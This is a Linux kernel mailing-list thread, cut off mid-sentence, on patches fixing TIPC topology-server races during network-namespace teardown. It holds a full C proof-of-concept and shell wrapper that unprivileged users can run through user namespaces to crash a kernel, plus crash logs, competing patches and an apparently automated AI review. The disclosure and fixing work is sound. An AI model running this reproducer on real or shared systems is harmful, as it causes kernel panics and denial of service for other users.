[PATCH net v2 0/2] tipc: fix connection lifetime during netns teardown

[PATCH net v2 0/2] tipc: fix connection lifetime during netns teardown

[Yuqi Xu]

Hi Linux kernel maintainers,

We found and validated an issue in net/tipc/topsrv.c. The bug is
reachable by an unprivileged user via user and network namespaces
(CLONE_NEWUSER|CLONE_NEWNET); the reproducer below also supports a
root mode.

We've tested it, and it should not affect any other functionality.

We will provide detailed information about the bug
in this email, along with a PoC to trigger it.

Changes in v2:
 - Add the exact reproduction command and the stack traces we observe
   to this changelog, as requested by Tung Quang Nguyen.
 - The patch content is unchanged; the series has only been rebased
   onto the current net/main tip.

Reproduction command (root mode, as used for the traces below):

  # 2 vCPU, 2 GB RAM x86_64 QEMU, kernel built from net/main
  # tip 1e24c4f2ee44 (7.3.0-rc3-00344-g1e24c4f2ee44), CONFIG_TIPC=y
  sysctl -w kernel.panic_on_rcu_stall=1
  echo 20 > /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout
  MODE=root ./poc.sh 6000 4 20000
  # i.e. ./poc -i 6000 -t 4 -r 20000

The bug is a race, so the reported trace is not deterministic; with
the command above it triggers within roughly 20 s in most runs.

Stack trace observed on the unpatched kernel (RCU stall):

[   20.832329] rcu: INFO: rcu_preempt detected stalls on CPUs/tasks:
[   20.833203] rcu: 	(detected by 0, t=20002 jiffies, g=-1003, q=11014 ncpus=2)
[   20.849696] Sending NMI from CPU 0 to CPUs 1:
[   20.850327] NMI backtrace for cpu 1
[   20.850330] CPU: 1 UID: 0 PID: 12 Comm: kworker/u8:0 Not tainted 7.3.0-rc3-00344-g1e24c4f2ee44 #1 PREEMPT(lazy)
[   20.850335] Workqueue: netns cleanup_net
[   20.850340] RIP: 0010:__radix_tree_lookup+0x1b/0xa0
[   20.850360] Call Trace:
[   20.850361]  <TASK>
[   20.850362]  tipc_topsrv_exit_net+0x8b/0x1a0
[   20.850369]  ops_undo_list+0xef/0x250
[   20.850372]  cleanup_net+0x1d2/0x330
[   20.850375]  process_one_work+0x197/0x390
[   20.850379]  worker_thread+0x169/0x2d0
[   20.850384]  kthread+0xe1/0x120
[   20.850393]  ret_from_fork_asm+0x1a/0x30
[   20.850398]  </TASK>
[   20.876630] Kernel panic - not syncing: RCU Stall
[   20.877303] CPU: 0 UID: 0 PID: 32 Comm: kworker/u8:1 Not tainted 7.3.0-rc3-00344-g1e24c4f2ee44 #1 PREEMPT(lazy)
[   20.880467] Workqueue: tipc_rcv tipc_topsrv_accept
[   20.892986] RIP: 0010:queued_spin_lock_slowpath+0x130/0x2b0
[   20.902581]  tipc_conn_alloc+0xaf/0x150
[   20.903126]  tipc_topsrv_accept+0x7d/0x170
[   20.905029]  process_one_work+0x197/0x390
[   20.905595]  worker_thread+0x169/0x2d0
[   20.906129]  ? __pfx_worker_thread+0x10/0x10
[   20.906729]  kthread+0xe1/0x120
[   20.908765]  ret_from_fork_asm+0x1a/0x30
[   20.909326]  </TASK>

Second failure mode, same command, different run (~5 s in):

[    5.368491] Workqueue: tipc_rcv tipc_topsrv_accept
[    5.368499] Call Trace:
[    5.368560]  tipc_sk_create+0x96/0x840
[    5.368568]  tipc_accept+0xca/0x380
[    5.368580]  tipc_topsrv_accept+0x69/0x170
[    5.368758] Out of memory and no killable processes...
[    5.368759] Kernel panic - not syncing: System is deadlocked on memory

Why different stack traces are seen:

The series fixes two independent lifetime problems in the same teardown
path, and which one is reported first depends on how the race resolves:

 1/2 - the listener is stopped too late. Its data-ready callback and
       sk_user_data remain installed while the workqueues are
       destroyed, so accept work can still be queued/run while the
       netns is being torn down. The "deadlocked on memory" trace above
       is one visible outcome: tipc_topsrv_accept() keeps allocating
       connections through tipc_accept()/tipc_sk_create() while netns
       cleanup cannot complete.

 2/2 - the conn_idr teardown walk scans numeric IDs while holding
       idr_lock, so the final conn_put() of a connection (which reaches
       tipc_conn_kref_release() and takes idr_lock) cannot make
       progress. This is the RCU stall above. The exact frame in the
       stall depends on where the timer interrupt lands inside
       tipc_topsrv_exit_net() (we have seen +0x78, +0x8b and +0x8e,
       plus __radix_tree_lookup for the inlined idr_find()) and on the
       task running on the other CPU (tipc_topsrv_accept(),
       tipc_conn_alloc(), tipc_conn_kref_release() or
       tipc_conn_recv_work()).

So a different trace is expected and is not a different bug. Both are
addressed by this series. If you still see a trace that does not match
either pattern, could you please share your exact command line
(/proc/cmdline), the kernel version/base and the full trace?

 - v1 Link: https://lore.kernel.org/all/cover.1789722780.git.xuyuqiabc@gmail.com/

---- details below ----

Bug details:

`tipc_topsrv_stop()` can tear the topology server down in two unsafe
ways. It destroys `srv->rcv_wq`/`srv->send_wq` while the listener
socket still has its data-ready callback and `sk_user_data` installed,
so `tipc_topsrv_listener_data_ready()` can still queue `srv->awork` on
a freed workqueue. It also walks `conn_idr` by incrementing a numeric
ID while holding `idr_lock`, which can scan a large range of unused IDs
without letting a connection's final reference release make progress,
and it can resurrect an entry whose last reference was already dropped.

Reproducer:

#!/bin/sh
set -eu

SCRIPT_DIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

ITERATIONS="${1:-6000}"
THREADS="${2:-4}"
RUNTIME_USEC="${3:-20000}"
MODE="${MODE:-root}"              # root | userns
STALL_TIMEOUT="${STALL_TIMEOUT:-20}"
CC_BIN="${CC:-gcc}"

cd "$SCRIPT_DIR"

"$CC_BIN" -O2 -Wall -pthread -o poc poc.c

if [ "${SET_PANIC_ON_RCU_STALL:-1}" = "1" ] && [ "$(id -u)" -eq 0 ]; then
	sysctl -w kernel.panic_on_rcu_stall=1 >/dev/null 2>&1 || true
	if [ -w /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout ]; then
		echo "$STALL_TIMEOUT" > /sys/module/rcupdate/parameters/rcu_cpu_stall_timeout
	fi
fi

if [ "$MODE" = "userns" ]; then
	CMD="./poc --userns -i $ITERATIONS -t $THREADS -r $RUNTIME_USEC"
else
	CMD="./poc -i $ITERATIONS -t $THREADS -r $RUNTIME_USEC"
fi

echo "[*] running: $CMD"
exec sh -c "$CMD"


We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.c------


#define _GNU_SOURCE

#include <errno.h>
#include <getopt.h>
#include <linux/tipc.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

static atomic_int stop_flag;

struct run_cfg {
	int iterations;
	int threads;
	int runtime_usec;
	int ns_flags;
};

static void usage(const char *prog)
{
	fprintf(stderr,
		"Usage: %s [-i iterations] [-t threads] [-r runtime_usec] [--userns]\n"
		"  -i, --iterations   number of fork/teardown cycles (default: 6000)\n"
		"  -t, --threads      flood worker threads per cycle (default: 4)\n"
		"  -r, --runtime-us   worker runtime per cycle in usec (default: 20000)\n"
		"  -U, --userns       use CLONE_NEWUSER|CLONE_NEWNET (for non-root)\n",
		prog);
}

static void parse_args(int argc, char **argv, struct run_cfg *cfg)
{
	static const struct option long_opts[] = {
		{ "iterations", required_argument, NULL, 'i' },
		{ "threads", required_argument, NULL, 't' },
		{ "runtime-us", required_argument, NULL, 'r' },
		{ "userns", no_argument, NULL, 'U' },
		{ "help", no_argument, NULL, 'h' },
		{ 0, 0, 0, 0 },
	};
	int c;

	cfg->iterations = 6000;
	cfg->threads = 4;
	cfg->runtime_usec = 20000;
	cfg->ns_flags = CLONE_NEWNET;

	while ((c = getopt_long(argc, argv, "i:t:r:Uh", long_opts, NULL)) != -1) {
		switch (c) {
		case 'i':
			cfg->iterations = atoi(optarg);
			break;
		case 't':
			cfg->threads = atoi(optarg);
			break;
		case 'r':
			cfg->runtime_usec = atoi(optarg);
			break;
		case 'U':
			cfg->ns_flags = CLONE_NEWUSER | CLONE_NEWNET;
			break;
		case 'h':
		default:
			usage(argv[0]);
			exit(c == 'h' ? 0 : 1);
		}
	}

	if (cfg->iterations <= 0 || cfg->threads <= 0 || cfg->runtime_usec < 0) {
		usage(argv[0]);
		exit(1);
	}
}

static void *flood_worker(void *arg)
{
	uintptr_t tid = (uintptr_t)arg;
	struct sockaddr_tipc sa;
	struct tipc_subscr sub;

	memset(&sa, 0, sizeof(sa));
	sa.family = AF_TIPC;
	sa.addrtype = TIPC_SERVICE_ADDR;
	sa.scope = TIPC_NODE_SCOPE;
	sa.addr.name.name.type = TIPC_TOP_SRV;
	sa.addr.name.name.instance = TIPC_TOP_SRV;

	memset(&sub, 0, sizeof(sub));
	sub.seq.type = 0x20000 + (uint32_t)tid;
	sub.seq.lower = 1;
	sub.seq.upper = 1;
	sub.timeout = 0xffffffffu;
	sub.filter = TIPC_SUB_SERVICE;

	while (!atomic_load_explicit(&stop_flag, memory_order_relaxed)) {
		int fd = socket(AF_TIPC, SOCK_SEQPACKET | SOCK_NONBLOCK, 0);

		if (fd < 0)
			continue;

		(void)connect(fd, (struct sockaddr *)&sa, sizeof(sa));
		(void)send(fd, &sub, sizeof(sub), MSG_DONTWAIT);
		close(fd);
	}

	return NULL;
}

static void run_one_iteration(const struct run_cfg *cfg)
{
	pthread_t *tids;
	int i;

	if (unshare(cfg->ns_flags) < 0)
		_exit(111);

	tids = calloc((size_t)cfg->threads, sizeof(*tids));
	if (!tids)
		_exit(1);

	atomic_store_explicit(&stop_flag, 0, memory_order_relaxed);
	for (i = 0; i < cfg->threads; i++)
		pthread_create(&tids[i], NULL, flood_worker,
			       (void *)(uintptr_t)(i + 1));

	usleep((useconds_t)cfg->runtime_usec);

	_exit(0);
}

int main(int argc, char **argv)
{
	struct run_cfg cfg;
	int i;
	int ns_failures = 0;

	parse_args(argc, argv, &cfg);

	for (i = 0; i < cfg.iterations; i++) {
		pid_t pid = fork();
		int st;

		if (pid == 0)
			run_one_iteration(&cfg);
		if (pid < 0)
			return 1;

		if (waitpid(pid, &st, 0) < 0)
			return 1;

		if (WIFEXITED(st) && WEXITSTATUS(st) == 111)
			ns_failures++;

		if ((i % 200) == 0)
			fprintf(stderr, "iter=%d ns_failures=%d\n", i, ns_failures);
	}

	if (ns_failures == cfg.iterations) {
		fprintf(stderr,
			"all iterations failed to create namespaces (EPERM likely)\n");
		return 2;
	}

	return 0;
}


------END poc.c--------

----BEGIN crash log----


[  292.540819][    C1] rcu: INFO: rcu_preempt self-detected stall on CPU
[  292.647997][    C1] Workqueue: tipc_rcv tipc_topsrv_accept
[  292.708934][    C0] Workqueue: netns cleanup_net
[  292.709097][    C0]  <TASK>
[  292.709101][    C0]  __radix_tree_lookup+0xb7/0x290
[  292.709134][    C0]  tipc_topsrv_exit_net+0x19c/0x4e0
[  292.709169][    C0]  ops_exit_list+0xc0/0x180
[  292.709192][    C0]  cleanup_net+0x5b9/0xbd0
[  292.709217][    C0]  process_one_work+0x981/0x1930
[  292.709275][    C0]  worker_thread+0x729/0x10e0
[  292.709314][    C0]  kthread+0x338/0x410
[  292.709364][    C0]  ret_from_fork_asm+0x11/0x20
[  292.709383][    C0]  </TASK>
[  292.831321][    C1] Kernel panic - not syncing: RCU Stall
[  292.834975][    C1] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996)
[  292.839167][    C1] Call Trace:
[  292.875653][    C1]  asm_sysvec_apic_timer_interrupt+0x1a/0x20
[  292.906505][    C1]  tipc_topsrv_accept+0x104/0x300
[  292.909515][    C1]  process_one_work+0x981/0x1930
[  292.919937][    C1]  ret_from_fork+0x4b/0x80
[  292.926345][    C1] Kernel Offset: disabled
[  292.927571][    C1] Rebooting in 86400 seconds..


-----END crash log-----

Best regards,
Yuqi Xu

Yuqi Xu (2):
  tipc: stop the listener before draining connections
  tipc: make conn_idr teardown safe

 net/tipc/topsrv.c | 27 ++++++++++++++++++++-------
 1 file changed, 20 insertions(+), 7 deletions(-)


base-commit: 1e24c4f2ee44be0eee94092b5d13cbdb4bdf0d60
-- 
2.55.0

[PATCH net v2 1/2] tipc: stop the listener before draining connections

[Yuqi Xu]

tipc_topsrv_stop() destroyed the receive workqueue while the listener
socket still had its data-ready callback and sk_user_data installed.
An incoming connection request could then queue srv->awork on the freed
workqueue from tipc_topsrv_listener_data_ready().

Reject new accepts, clear sk_user_data under sk_callback_lock and cancel
pending accept work before the workqueues are torn down.

Fixes: 0ef897be12b8 ("tipc: separate topology server listener socket from subcsriber sockets")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
Reviewed-by: Ren Wei <weir@nebusec.ai>
---
Changes in v2:
 - Rebased onto the current net/main tip; patch content unchanged.

 net/tipc/topsrv.c | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/net/tipc/topsrv.c b/net/tipc/topsrv.c
index af530c9ed840..908622a3d0fc 100644
--- a/net/tipc/topsrv.c
+++ b/net/tipc/topsrv.c
@@ -700,6 +700,15 @@ static void tipc_topsrv_stop(struct net *net)
 	struct tipc_conn *con;
 	int id;
 
+	spin_lock_bh(&srv->idr_lock);
+	srv->listener = NULL;
+	spin_unlock_bh(&srv->idr_lock);
+
+	write_lock_bh(&lsock->sk->sk_callback_lock);
+	lsock->sk->sk_user_data = NULL;
+	write_unlock_bh(&lsock->sk->sk_callback_lock);
+	cancel_work_sync(&srv->awork);
+
 	spin_lock_bh(&srv->idr_lock);
 	for (id = 0; srv->idr_in_use; id++) {
 		con = idr_find(&srv->conn_idr, id);
@@ -713,7 +722,6 @@ static void tipc_topsrv_stop(struct net *net)
 	}
 	__module_get(lsock->ops->owner);
 	__module_get(lsock->sk->sk_prot_creator->owner);
-	srv->listener = NULL;
 	spin_unlock_bh(&srv->idr_lock);
 
 	tipc_topsrv_work_stop(srv);
-- 
2.55.0

[PATCH net v2 2/2] tipc: make conn_idr teardown safe

[Yuqi Xu]

The teardown walk iterated conn_idr by incrementing a numeric ID while
holding idr_lock, so it could scan a large range of unused IDs without
letting a connection's final reference release make progress. An entry
whose last reference had already been dropped could also be resurrected
by the unconditional conn_get() while its release callback was blocked
on the same lock.

Walk conn_idr with idr_get_next(), release the lock and reschedule when
no entry can be taken, and use kref_get_unless_zero() so a connection
that is already being released cannot be revived.

Fixes: 35e22e49a5d6 ("tipc: fix cleanup at module unload")
Fixes: 667eeab4999e ("tipc: Fix use-after-free in tipc_conn_close().")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Signed-off-by: Yuqi Xu <xuyuqiabc@gmail.com>
Reviewed-by: Ren Wei <weir@nebusec.ai>
---
Changes in v2:
 - Rebased onto the current net/main tip; patch content unchanged.

 net/tipc/topsrv.c | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/net/tipc/topsrv.c b/net/tipc/topsrv.c
index 908622a3d0fc..9333e36a74de 100644
--- a/net/tipc/topsrv.c
+++ b/net/tipc/topsrv.c
@@ -710,15 +710,20 @@ static void tipc_topsrv_stop(struct net *net)
 	cancel_work_sync(&srv->awork);
 
 	spin_lock_bh(&srv->idr_lock);
-	for (id = 0; srv->idr_in_use; id++) {
-		con = idr_find(&srv->conn_idr, id);
-		if (con) {
-			conn_get(con);
+	for (id = 0; srv->idr_in_use;) {
+		con = idr_get_next(&srv->conn_idr, &id);
+		if (!con || !kref_get_unless_zero(&con->kref)) {
 			spin_unlock_bh(&srv->idr_lock);
-			tipc_conn_close(con);
-			conn_put(con);
+			cond_resched();
 			spin_lock_bh(&srv->idr_lock);
+			id = 0;
+			continue;
 		}
+		id++;
+		spin_unlock_bh(&srv->idr_lock);
+		tipc_conn_close(con);
+		conn_put(con);
+		spin_lock_bh(&srv->idr_lock);
 	}
 	__module_get(lsock->ops->owner);
 	__module_get(lsock->sk->sk_prot_creator->owner);
-- 
2.55.0

Re: [PATCH net v2 1/2] tipc: stop the listener before draining connections

[Tung Quang Nguyen]

> Subject: [PATCH net v2 1/2] tipc: stop the listener before draining connections

> tipc_topsrv_stop() destroyed the receive workqueue while the listener
> socket still had its data-ready callback and sk_user_data installed.
> An incoming connection request could then queue srv->awork on the freed
> workqueue from tipc_topsrv_listener_data_ready().

> Reject new accepts, clear sk_user_data under sk_callback_lock and cancel
> pending accept work before the workqueues are torn down.

This is not enough. Thus, this patch does not fix the original cause of several issues (use after free, counter leak, NULL pointer dereference etc).
I use your reproducer with this setup:  ./poc -i 6000 -t 4 -r 5000 (and ./poc -i 6000 -t 4 -r 20000)
And the same stack trace is observed BEFORE and AFTER applying your patch (kernel 7.3.0-rc3):
"
iter=0 ns_failures=0
iter=200 ns_failures=0
iter=400 ns_failures=0
iter=600 ns_failures=0
[  271.777365] ------------[ cut here ]------------
[  271.777368] refcount_t: addition on 0; use-after-free.
[  271.777369] WARNING: lib/refcount.c:25 at refcount_warn_saturate+0x6a/0x90, CPU#1: kworker/u8:4/929
...
[  271.791358] CPU: 1 UID: 0 PID: 929 Comm: kworker/u8:4 Not tainted 7.3.0-rc3-default+ #31 PREEMPT(full)
...
[  271.794423] Workqueue: netns cleanup_net
[  271.795096] RIP: 0010:refcount_warn_saturate+0x6a/0x90
[  271.795951] Code: cc 48 8d 3d 88 d0 48 01 67 48 0f b9 3a c3 cc cc cc cc 48 8d 3d 87 d0 48 01 67 48 0f b9 3a e9 0d 97 72 00 48 8d 3d 86 d0 48 01 <67> 48 0f b9 3a e9 fc 96 72 00 48 8d 3d 85 d0 48 01 67 48 0f b9 3a
...
[  271.809733] Call Trace:
[  271.810177]  <TASK>
[  271.810559]  tipc_topsrv_exit_net+0x1b4/0x1e0 [tipc]
[  271.811439]  ops_undo_list+0xd5/0x230
[  271.812056]  cleanup_net+0x1ec/0x320
[  271.812666]  process_one_work+0x1a5/0x3b0
[  271.813343]  worker_thread+0x1be/0x330
[  271.813989]  ? _raw_spin_unlock_irqrestore+0x12/0x40
[  271.814814]  ? __pfx_worker_thread+0x10/0x10
[  271.815551]  kthread+0xf6/0x140
[  271.816090]  ? __pfx_kthread+0x10/0x10
[  271.816738]  ret_from_fork+0x288/0x330
[  271.817377]  ? __pfx_kthread+0x10/0x10
[  271.818017]  ret_from_fork_asm+0x1a/0x30
[  271.818681]  </TASK>
[  271.819067] ---[ end trace 0000000000000000 ]---
[  271.846984] BUG: unable to handle page fault for address: 00000001000002cf
[  271.848215] #PF: supervisor read access in kernel mode
[  271.849079] #PF: error_code(0x0000) - not-present page
[  271.849945] PGD 0 P4D 0
[  271.850420] Oops: Oops: 0000 [#1] SMP NOPTI
[  271.851145] CPU: 1 UID: 0 PID: 929 Comm: kworker/u8:4 Tainted: G        W           7.3.0-rc3-default+ #31 PREEMPT(full)
[  271.852937] Tainted: [W]=WARN
...
[  271.855014] Workqueue: netns cleanup_net
[  271.855702] RIP: 0010:do_raw_write_lock+0xa/0xb0
[  271.856486] Code: 00 48 8b 3c 24 85 c0 0f 85 5e a3 e9 ff eb d7 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 40 d6 0f 1f 44 00 00 53 <81> 7f 08 ed 1e af de 48 89 fb 75 45 48 8b 43 10 65 48 3b 05 96 55
...
[  271.870488] Call Trace:
[  271.870932]  <TASK>
[  271.871331]  tipc_conn_close+0x24/0xa0 [tipc]
[  271.872088]  tipc_topsrv_exit_net+0x108/0x1e0 [tipc]
[  271.872938]  ops_undo_list+0xd5/0x230
[  271.873588]  cleanup_net+0x1ec/0x320
[  271.874211]  process_one_work+0x1a5/0x3b0
[  271.874891]  worker_thread+0x1be/0x330
[  271.875536]  ? _raw_spin_unlock_irqrestore+0x12/0x40
[  271.876376]  ? __pfx_worker_thread+0x10/0x10
[  271.877119]  kthread+0xf6/0x140
[  271.877686]  ? __pfx_kthread+0x10/0x10
[  271.878335]  ret_from_fork+0x288/0x330
[  271.878980]  ? __pfx_kthread+0x10/0x10
[  271.879641]  ret_from_fork_asm+0x1a/0x30
[  271.880314]  </TASK>
"

So, your patch does not fix the original root cause: not deleting topology server's send/receive work queues before closing connections.
Please help test this patch to see if it completely fixes all observed kernel stack traces:

Signed-off-by: Tung Nguyen <tung.quang.nguyen@est.tech>
---
 net/tipc/topsrv.c | 73 +++++++++++++++++++++++++++++++++++++----------
 1 file changed, 58 insertions(+), 15 deletions(-)

diff --git a/net/tipc/topsrv.c b/net/tipc/topsrv.c
index af530c9ed840..2fc10bf593b0 100644
--- a/net/tipc/topsrv.c
+++ b/net/tipc/topsrv.c
@@ -55,7 +55,7 @@
 /**
  * struct tipc_topsrv - TIPC server structure
  * @conn_idr: identifier set of connection
- * @idr_lock: protect the connection identifier set
+ * @idr_lock: protect the connection identifier set and listener
  * @idr_in_use: amount of allocated identifier entry
  * @net: network namespace instance
  * @awork: accept work item
@@ -301,10 +301,20 @@ static void tipc_conn_send_to_sock(struct tipc_conn *con)
 static void tipc_conn_send_work(struct work_struct *work)
 {
 	struct tipc_conn *con = container_of(work, struct tipc_conn, swork);
+	struct tipc_topsrv *srv;
+
+	srv = con->server;
+	spin_lock_bh(&srv->idr_lock);
+	if (!srv->listener) {
+		spin_unlock_bh(&srv->idr_lock);
+		goto out;
+	}
+	spin_unlock_bh(&srv->idr_lock);
 
 	if (connected(con))
 		tipc_conn_send_to_sock(con);
 
+out:
 	conn_put(con);
 }
 
@@ -334,8 +344,14 @@ void tipc_topsrv_queue_evt(struct net *net, int conid,
 	list_add_tail(&e->list, &con->outqueue);
 	spin_unlock_bh(&con->outqueue_lock);
 
-	if (queue_work(srv->send_wq, &con->swork))
-		return;
+	spin_lock_bh(&srv->idr_lock);
+	if (srv->listener) {
+		if (queue_work(srv->send_wq, &con->swork)) {
+			spin_unlock_bh(&srv->idr_lock);
+			return;
+		}
+	}
+	spin_unlock_bh(&srv->idr_lock);
 err:
 	conn_put(con);
 }
@@ -346,14 +362,20 @@ void tipc_topsrv_queue_evt(struct net *net, int conid,
  */
 static void tipc_conn_write_space(struct sock *sk)
 {
+	struct tipc_topsrv *srv;
 	struct tipc_conn *con;
 
 	read_lock_bh(&sk->sk_callback_lock);
 	con = sk->sk_user_data;
 	if (connected(con)) {
-		conn_get(con);
-		if (!queue_work(con->server->send_wq, &con->swork))
-			conn_put(con);
+		srv = con->server;
+		spin_lock_bh(&srv->idr_lock);
+		if (srv->listener) {
+			conn_get(con);
+			if (!queue_work(srv->send_wq, &con->swork))
+				conn_put(con);
+		}
+		spin_unlock_bh(&srv->idr_lock);
 	}
 	read_unlock_bh(&sk->sk_callback_lock);
 }
@@ -418,8 +440,17 @@ static int tipc_conn_rcv_from_sock(struct tipc_conn *con)
 static void tipc_conn_recv_work(struct work_struct *work)
 {
 	struct tipc_conn *con = container_of(work, struct tipc_conn, rwork);
+	struct tipc_topsrv *srv;
 	int count = 0;
 
+	srv = con->server;
+	spin_lock_bh(&srv->idr_lock);
+	if (!srv->listener) {
+		spin_unlock_bh(&srv->idr_lock);
+		goto out;
+	}
+	spin_unlock_bh(&srv->idr_lock);
+
 	while (connected(con)) {
 		if (tipc_conn_rcv_from_sock(con))
 			break;
@@ -430,6 +461,7 @@ static void tipc_conn_recv_work(struct work_struct *work)
 			count = 0;
 		}
 	}
+out:
 	conn_put(con);
 }
 
@@ -438,6 +470,7 @@ static void tipc_conn_recv_work(struct work_struct *work)
  */
 static void tipc_conn_data_ready(struct sock *sk)
 {
+	struct tipc_topsrv *srv;
 	struct tipc_conn *con;
 
 	trace_sk_data_ready(sk);
@@ -445,9 +478,14 @@ static void tipc_conn_data_ready(struct sock *sk)
 	read_lock_bh(&sk->sk_callback_lock);
 	con = sk->sk_user_data;
 	if (connected(con)) {
-		conn_get(con);
-		if (!queue_work(con->server->rcv_wq, &con->rwork))
-			conn_put(con);
+		srv = con->server;
+		spin_lock_bh(&srv->idr_lock);
+		if (srv->listener) {
+			conn_get(con);
+			if (!queue_work(srv->rcv_wq, &con->rwork))
+				conn_put(con);
+		}
+		spin_unlock_bh(&srv->idr_lock);
 	}
 	read_unlock_bh(&sk->sk_callback_lock);
 }
@@ -503,8 +541,12 @@ static void tipc_topsrv_listener_data_ready(struct sock *sk)
 
 	read_lock_bh(&sk->sk_callback_lock);
 	srv = sk->sk_user_data;
-	if (srv)
-		queue_work(srv->rcv_wq, &srv->awork);
+	if (srv) {
+		spin_lock_bh(&srv->idr_lock);
+		if (srv->listener)
+			queue_work(srv->rcv_wq, &srv->awork);
+		spin_unlock_bh(&srv->idr_lock);
+	}
 	read_unlock_bh(&sk->sk_callback_lock);
 }
 
@@ -700,23 +742,24 @@ static void tipc_topsrv_stop(struct net *net)
 	struct tipc_conn *con;
 	int id;
 
+	spin_lock_bh(&srv->idr_lock);
+	srv->listener = NULL;
+	spin_unlock_bh(&srv->idr_lock);
+	tipc_topsrv_work_stop(srv);
+
 	spin_lock_bh(&srv->idr_lock);
 	for (id = 0; srv->idr_in_use; id++) {
 		con = idr_find(&srv->conn_idr, id);
 		if (con) {
-			conn_get(con);
 			spin_unlock_bh(&srv->idr_lock);
 			tipc_conn_close(con);
-			conn_put(con);
 			spin_lock_bh(&srv->idr_lock);
 		}
 	}
 	__module_get(lsock->ops->owner);
 	__module_get(lsock->sk->sk_prot_creator->owner);
-	srv->listener = NULL;
 	spin_unlock_bh(&srv->idr_lock);
 
-	tipc_topsrv_work_stop(srv);
 	sock_release(lsock);
 	idr_destroy(&srv->conn_idr);
 	kfree(srv);
-- 
2.43.0

Re: [PATCH net v2 2/2] tipc: make conn_idr teardown safe

[Tung Quang Nguyen]

> Subject: [PATCH net v2 2/2] tipc: make conn_idr teardown safe

> The teardown walk iterated conn_idr by incrementing a numeric ID while
> holding idr_lock, so it could scan a large range of unused IDs without
> letting a connection's final reference release make progress. An entry
> whose last reference had already been dropped could also be resurrected
> by the unconditional conn_get() while its release callback was blocked
> on the same lock.

>Walk conn_idr with idr_get_next(), release the lock and reschedule when
> no entry can be taken, and use kref_get_unless_zero() so a connection
> that is already being released cannot be revived.

This patch is not needed as we need a complete solution discussed in:
https://patchwork.kernel.org/project/netdevbpf/patch/d16573ddc2464277a04274fc12630daf00b8f149.1789960909.git.xuyuqiabc@gmail.com/

Re: [PATCH net v2 2/2] tipc: make conn_idr teardown safe

[netdev-bot+sashiko]

Thank you for your contribution! Sashiko AI review found 1 potential
issue(s) to consider.

Critical: 0 · High: 1 (1) · Medium: 0 · Low: 0

If you believe none of the issues are legitimate, please reply to each
issue of Medium severity or higher and explain why the AI is wrong.
If any of them are legitimate and you plan to respin, please let patchwork
know by including "pw-bot: cr" as a separate line at the end of your reply
(one such reply per series is enough).

- [High] tipc: priority inversion deadlock via cond_resched() in
  tipc_topsrv_stop()

Pre-existing issues:
- [High] NULL pointer dereference of con->sock in tipc_conn_close() when
  the teardown walk in tipc_topsrv_stop() reaches a socket-less…

--

tipc: make conn_idr teardown safe

The teardown walk in tipc_topsrv_stop() now iterates conn_idr with
idr_get_next() instead of incrementing a numeric ID, drops idr_lock and
reschedules when no entry can be taken, and switches from conn_get() to
kref_get_unless_zero() so an entry already being released is not revived.

> diff --git a/net/tipc/topsrv.c b/net/tipc/topsrv.c
> index 908622a3d0fca..9333e36a74de7 100644
> --- a/net/tipc/topsrv.c
> +++ b/net/tipc/topsrv.c
> @@ -710,15 +710,20 @@ static void tipc_topsrv_stop(struct net *net)
>  	cancel_work_sync(&srv->awork);
>  
>  	spin_lock_bh(&srv->idr_lock);
> -	for (id = 0; srv->idr_in_use; id++) {
> -		con = idr_find(&srv->conn_idr, id);
> -		if (con) {
> -			conn_get(con);
> +	for (id = 0; srv->idr_in_use;) {
> +		con = idr_get_next(&srv->conn_idr, &id);
> +		if (!con || !kref_get_unless_zero(&con->kref)) {
>  			spin_unlock_bh(&srv->idr_lock);
> -			tipc_conn_close(con);
> -			conn_put(con);
> +			cond_resched();
>  			spin_lock_bh(&srv->idr_lock);
> +			id = 0;
> +			continue;
>  		}
> +		id++;
> +		spin_unlock_bh(&srv->idr_lock);
> +		tipc_conn_close(con);
> +		conn_put(con);
> +		spin_lock_bh(&srv->idr_lock);
>  	}

[Severity: High]
The not-taken branch turns this walk into a poll loop whose only
forward-progress mechanism is cond_resched(). When idr_get_next()
returns NULL, or when kref_get_unless_zero() fails because the entry is
already on its way out, we drop idr_lock, call cond_resched(), reset id
to 0 and start over, and the loop only terminates once srv->idr_in_use
reaches zero. That counter is decremented in exactly one place:

net/tipc/topsrv.c:tipc_conn_kref_release() {
	spin_lock_bh(&s->idr_lock);
	idr_remove(&s->conn_idr, con->conid);
	s->idr_in_use--;
	spin_unlock_bh(&s->idr_lock);
	...
}

and in the window this branch is spinning in, the last reference is
typically held by a queued rcv_wq/send_wq item (tipc_conn_recv_work()
or tipc_conn_send_work()), i.e. by a SCHED_OTHER kworker. Note that
tipc_topsrv_work_stop() only runs after the walk, so both queues are
still live at this point, and nothing before the walk flushes them --
only srv->awork is cancelled.

So the exit condition of this loop depends on a lower-priority thread
being scheduled. cond_resched() does not yield to lower-priority tasks,
and on full-preemption builds it degenerates into a no-op, so if
tipc_topsrv_stop() is entered from an RT task (netns exit and module
unload can both be driven from a SCHED_FIFO context), on a single CPU
we spin taking and dropping idr_lock forever while the kworker that
would run tipc_conn_kref_release() and drop idr_in_use never gets to
run. That is a livelock rather than a latency glitch. The old
idr_find() loop had its own unbounded-scan problem, but it was not
structured as a retry-from-zero wait, so the patch makes cond_resched()
load-bearing as a synchronisation primitive, which it is not.

What is the intended guarantee here? If the walk really has to wait for
asynchronous releases, a sleeping wait looks more appropriate -- e.g. a
wait_event()/completion signalled from tipc_conn_kref_release() when
idr_in_use hits zero. Alternatively, would it be cleaner to tear down
rcv_wq/send_wq (tipc_topsrv_work_stop()) before walking conn_idr, so
that no async reference can still be outstanding and the loop needs no
retry branch at all? Could you spell out which of these you consider
